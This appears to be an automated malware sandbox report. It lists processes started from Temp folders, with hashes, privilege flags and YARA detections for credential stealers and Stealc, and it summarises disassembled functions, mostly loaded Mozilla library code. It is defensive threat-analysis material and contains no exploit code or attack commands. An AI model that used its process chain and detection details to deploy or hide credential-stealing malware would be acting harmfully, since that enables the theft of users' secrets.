Show Windows behavior

Target ID:	13
Start time:	15:22:09
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Imagebase:	0x6b0000
File size:	3'128'832 bytes
MD5 hash:	A18367BC85080707CBEC02902ECAC8B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2469878623.0000000001552000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2469725408.000000000154E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:22:14
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Imagebase:	0xf70000
File size:	1'811'456 bytes
MD5 hash:	7EB28235D4F5C45E8B81D7E275380E94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2485790355.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000003.2444697974.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:22:18
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'272'192 bytes
MD5 hash:	569607D801E71B62F8EEBC6945DCA704
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	15:22:22
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Imagebase:	0x6b0000
File size:	3'128'832 bytes
MD5 hash:	A18367BC85080707CBEC02902ECAC8B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:22:23
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Imagebase:	0x980000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:22:30
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Imagebase:	0xf70000
File size:	1'811'456 bytes
MD5 hash:	7EB28235D4F5C45E8B81D7E275380E94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000003.2609138087.0000000005010000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2670475440.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:22:32
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe"
Imagebase:	0x2a0000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:22:39
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Imagebase:	0x980000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:22:45
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe"
Imagebase:	0x650000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:22:47
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Imagebase:	0x6b0000
File size:	3'128'832 bytes
MD5 hash:	A18367BC85080707CBEC02902ECAC8B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2807718354.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2825364278.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2807917547.0000000000E85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000003.2883051277.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:22:55
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Imagebase:	0xf70000
File size:	1'811'456 bytes
MD5 hash:	7EB28235D4F5C45E8B81D7E275380E94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2857025061.0000000005910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2897720480.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2899998365.0000000001C32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:23:03
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Imagebase:	0x980000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	15:23:14
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe"
Imagebase:	0xef0000
File size:	2'811'392 bytes
MD5 hash:	CBA2CBFEF03546A0BE168D44EC410239
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
__aulldiv.LIBCMT ref: 6C5D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D3773
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D377E
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5D37C4
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5D37CB
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5D3801
__aulldiv.LIBCMT ref: 6C5D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5D394C

Strings

GenuntelineI, xrefs: 6C5D3639
MOZ_TIMESTAMP_MODE, xrefs: 6C5D35DB
QPC, xrefs: 6C5D38FC
GTC, xrefs: 6C5D3912
AuthcAMDenti, xrefs: 6C5D3946

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction ID: a992858f3ff45ee44ee68d1cdefe4118f3239f8d5353e18b08dbc61611f22fa6
Opcode Fuzzy Hash: f65abe38ac8cc8ca194be05f9ddb1b8a158288b6d15dbed5fa0d8990a030af57
Instruction Fuzzy Hash: 7EB1D771B093009FDB08DF2EC89461A7BF5BB8A700F65892DE499D3790D734A901CB8A

Function 6C5EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5EC969
GetSystemInfo.KERNEL32(?), ref: 6C5EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5EC9E2

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction ID: ac4658877bd9bbdbef10ef15c8a14d4ce1a995b046e704cd4f5b36d3604434e8
Opcode Fuzzy Hash: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction Fuzzy Hash: BB21FC727412186BDB04EF25DCC4BAE77B9AB8A744FA00519F903E7740EB70BC0487A9

Function 6C5D3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5D3095

Part of subcall function 6C5D35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C65F688,00001000), ref: 6C5D35D5
Part of subcall function 6C5D35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5D35E0
Part of subcall function 6C5D35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5D35FD
Part of subcall function 6C5D35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5D363F
Part of subcall function 6C5D35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5D369F
Part of subcall function 6C5D35A0: __aulldiv.LIBCMT ref: 6C5D36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D309F

Part of subcall function 6C5F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B85
Part of subcall function 6C5F5B50: EnterCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5B90
Part of subcall function 6C5F5B50: LeaveCriticalSection.KERNEL32(6C65F688,?,?,?,6C5F56EE,?,00000001), ref: 6C5F5BD8
Part of subcall function 6C5F5B50: GetTickCount64.KERNEL32 ref: 6C5F5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5D30BE

Part of subcall function 6C5D30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5D3127
Part of subcall function 6C5D30F0: __aulldiv.LIBCMT ref: 6C5D3140

Part of subcall function 6C60AB2A: __onexit.LIBCMT ref: 6C60AB30

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction ID: e0fec6d3bf2052893f8e5edae1787bd2b5a156a3c28f95b416bc85970485bd60
Opcode Fuzzy Hash: 96508ebdce8881fb6f2a47e0c763467824f5d3874d7a7b4bb1342d4926edca78
Instruction Fuzzy Hash: 7CF0F922E2074896CB14DF358DC11E67370AFAB114FA15319E88463591FB2065D883CF

Non-executed Functions

Function 6C5E5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5E5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E54BE
__Init_thread_footer.LIBCMT ref: 6C5E54DB

Part of subcall function 6C60AB3F: EnterCriticalSection.KERNEL32(6C65E370,?,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB49
Part of subcall function 6C60AB3F: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60AB7C

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5E54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5E5516
GetCurrentThreadId.KERNEL32 ref: 6C5E556A
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5E5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5E5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5E55E6
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E5616

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

GetCurrentThreadId.KERNEL32 ref: 6C5E563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5E567C
free.MOZGLUE(?), ref: 6C5E56AE

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5E56E8
GetCurrentThreadId.KERNEL32 ref: 6C5E5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5E570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5E5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5E574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5E576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5E5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5E57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5E57CA

Strings

- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5E5D01
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5E5D1C
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5E5791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5E5749
[I %d/%d] profiler_init, xrefs: 6C5E564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5E5B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5E5766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5E57AE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5E5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5E584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5E5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5E5AC9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5E5724
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5E5C56
GeckoMain, xrefs: 6C5E5554, 6C5E55D5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5E56E3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E54B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E548D
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5E5BBE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5E5717
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5E5D24
MOZ_PROFILER_STARTUP, xrefs: 6C5E55E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C5E5511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5E57C5

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction ID: ef1e98c87b81248ddb23aa188723eb988797f73a8baa264f33edf250c48306f3
Opcode Fuzzy Hash: 469d1e64f6e108a48e31b5f3f3de4dd96577b6db7dce823eb904e3f5acdc0407
Instruction Fuzzy Hash: 8E2204B1A083009FDB00DF76C89465A77B5AF8B34CFE44929E94697B41EB31C858CB5B

Function 6C61B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61B845
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000), ref: 6C61B852
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61B884
InitializeConditionVariable.KERNEL32(?), ref: 6C61B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C61B9FD
GetCurrentThreadId.KERNEL32 ref: 6C61BA05
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000), ref: 6C61BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C61BA27
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61BA4B
free.MOZGLUE(?), ref: 6C61C9C7
free.MOZGLUE(?), ref: 6C61C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C61C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C61C7DA

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: cc93d76197843f4d4f89b9a2d8388e7f9785fe103ce634df2be2cdc47f1c13e9
